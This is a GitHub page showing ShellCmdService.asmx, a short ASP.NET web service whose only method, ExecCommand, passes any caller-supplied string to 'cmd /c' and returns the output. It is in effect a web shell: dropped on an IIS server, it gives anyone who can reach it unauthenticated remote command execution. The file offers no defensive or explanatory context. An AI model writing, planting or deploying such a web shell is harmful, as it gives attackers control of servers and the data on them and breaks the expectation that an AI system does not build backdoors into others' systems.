-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathShellCmdService.asmx
More file actions
35 lines (29 loc) · 924 Bytes
/
ShellCmdService.asmx
File metadata and controls
35 lines (29 loc) · 924 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<%@ WebService Language="C#" Class="ShellCmdService" %>
using System;
using System.Diagnostics;
using System.Web.Services;
[System.Web.Script.Services.ScriptService]
public class ShellCmdService : WebService
{
[WebMethod]
public string ExecCommand(string cmd)
{
try
{
ProcessStartInfo procStartInfo = new ProcessStartInfo("cmd", "/c " + cmd);
procStartInfo.RedirectStandardOutput = true;
procStartInfo.UseShellExecute = false;
procStartInfo.CreateNoWindow = true;
Process proc = new Process();
proc.StartInfo = procStartInfo;
proc.Start();
string result = proc.StandardOutput.ReadToEnd();
proc.WaitForExit();
return cmd + " : " + result;
}
catch (Exception ex)
{
return "Error";
}
}
}